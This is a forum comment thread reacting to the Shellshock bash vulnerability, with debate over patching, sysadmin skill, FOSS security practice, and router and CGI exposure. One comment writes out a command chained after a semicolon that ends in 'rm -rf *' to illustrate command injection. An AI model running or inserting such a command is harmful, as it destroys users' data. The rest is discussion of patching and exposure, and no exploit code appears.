A bit of scripting and the ability to apply a patch, configure and make is enough for some people to call themselves an "engineer" without being challenged. A little bit more and that's a skillset every group running a few servers should have.

I don't think it's all that frequent right now, at least not outside of Fortune 500 companies or so

Are you joking or trying to mislead?

Re:patched my servers last month

[dbIII]

Furthermore, even if you had one in your team, what makes you think he will be able make a patch for bash faster than to wait for one to be released?

I really mean being able to build from source including patches faster than a package comes out for the platform, which may be weeks or never if the platform is an old software distribution. That's the bar I'm setting for "software engineer". It may be a bit lower than what you mean.

Re:patched my servers last month

[amias]

its not just shell cgi scripts , other services pass data they receive through environment variables , these include dhcp clients and any other non authenticated services.

a simple fix is to use a different shell for now.

There is no indignation.

[Qbertino]

... how the indignation at a major vulnerability like this (2nd in a few months) is so muted when the OS in question doesn't come from Microsoft.

Bugs happen. The bullshit and coverup that comes with many of them needn't happen.

When did shellshock come out? A week ago?
We already have testing routines, fixes, live reports on ongoing exploits, ad-hoc sidetracking fixes for commercial non-FOSS versions (Mac OS X), countless how-tos on how to close up holes, a lively worldwide debate among experts on how to prevent this class of exploit, the bash crew merging the fixes, existing updates for debian, etc.

Seriously, this is a *very* *bad* hole, and yet the cool with which I was able to approach it simply knowing that all my outward facing boxes run a type-a prime FOSS distribution like debian was something you will not see with a windows admin. apt-get upgrade, apt-get update ... bladibla blubdiblub packageA bash someOtherPackage ... bladibla continue? Fuck yeah. Hit Enter. Yawn. Go get some coffee, come back, paste the onliner test. Fixed.

Sorry pal, but even with a bug of this magnitude, the way the FOSS community deals with it is a whole different league than any other camp. Openness beats everything else in this line of work, every time.

My 2 cents.

Nimda

[Anonymous Coward]

there was a huge bot net some time back on windows that tried to eat TOR, it got zero press, years before google "Nimda" if any real info is left about it, you would be able to read how Microsoft hid behind linux servers to protect themselves.

Re:Bash needs to remove env-based procedure passin

[Anonymous Coward]

shall I post the IP of my Debian box, so you can show me what you can do to it?

How long?

[koan]

Has it been going on.

bash accessible from outside?

[ThePhilips]

If the systems really had the /bin/bash exposed, then they were insecure from the day one. It is just that nobody had realized that before.

Otherwise I wonder whether the Debian's /bin/sh being the dash somehow mitigated the problem for the Debian system?

Re:patched my servers last month

[Chryana]

Yes, I think we had totally different things in mind when you mentioned the term "software engineer", especially now that you reduce the term to being able to apply a patch to source code.

Re:What a goddamn disaster.

[AlterEager]

It does not automatically mean that, but money can buy you some nice quality assurance and code auditing.

Can it? Could you point out an example of that?

(Outside, possibly, the Space Shuttle landing software).

ALERT!!! Re:Only the beginning

[Anonymous Coward]

This will redirect them:

RedirectMatch permanent /cgi-sys/defaultwebpage.cgi https://www.youtube.com/watch?v=dQw4w9WgXcQ

Right: LOOKOUT FOR THOSE SEMI-COLONS! apk

[Anonymous Coward]

echo Look Out For this semicolon separating commands; rm -rf

* If that sucker's being run with admin/root/superuser priveleges? Well, you know...

APK

P.S.=> Now that it's been patched, you *REALLY* have to wonder how many "bad guys" KNEW about it, long before this all came out, & what they DID with it - my guess is, they planted ALL SORTS of "bushwhacks" all over the place on *NIX variants, worldwide (worse than you're seeing now)... apk

Home routers vulnerable

[laughingskeptic]

I know for a fact that my home router shells out to IP Chains to generate the NATed ports page. It will show this page to anyone and I can't turn it off -- remote administration is OFF, but for my router that just means only 192.* addresses can login and change things like the NATed ports. It still serves up the web pages to all requestors.

Re:patched my servers last month

[jedidiah]

> Of course, as a sysadmin I should also be a software engineer. How stupid of me.

Yes you are stupid. Being enough of a "software engineer" to patch bash is a pretty pathetically low bar for any computing professional anywhere. It doesn't matter if they are "only a sysadmin".

It's not exactly rocket science.

This is what you get when your OS vendor tells you that you can have trained monkeys manage your systems.

Re:patched my servers last month

[BringsApples]

As a software engineer they expect me to be a sysadmin.

As a sysadmin, I'd say that's a crazy idea. However if you are capable of digging into such, it must mean that you're quite attractive an an employee, and in some ways makes you a better software engineer too.

Re:What a goddamn disaster.

[Anonymous Coward]

"HERP! Paying money automatically means more secure! DERP!"

No, paying money means you automatically have someone who is liable and thus responsible.

Re:Bash needs to remove env-based procedure passin

[eyegone]

It turns out that bash was JavaScript before JavaScript was cool.

They deserve it

[Anonymous Coward]

For those entrenched in legacy platforms and technology - yep, they deserve it. might as well say AT&T UNIX System V is vulnerable if big iron heads are using it. 20 years ago, not so much in a closed network work, with just a DARPA kind of collective between institutes and government. Today, all bets are off; every home has a super command and control set of systems with high bandwidth capabilities to attack and sever critical systems across the world.

We deserve what our inept IT leaders don't want to admit. They deserve what they swallow - puke.

be well and may the force be with you.

Re:patched my servers last month

[dbIII]

As an actual certified professional engineer that now happens to work in IT I'm constantly reminded that the term now applies to an intermediate technician skill level. Sorry I misunderstood that you seem to mean someone in more of a lead role.
Anyway, I was trying to push the point that at least one person who at least has some grasp of programming should be in each group of sysadmins or able to be called in by them at short notice. Otherwise the sysadmin just becomes the guy that can follow a Standard Operating Procedure and calls phone support if something is not on the list. Why did we spend so much time learning about stuff if we're not going to be capable enough to write a new S.O.P. when things change?

Re:patched my servers last month

[MikeBabcock]

I've forbidden shell interactions from web servers forever on my client systems and I'm always in shock that online control panel systems allow direct shell access to the system. It just seems obviously wrong.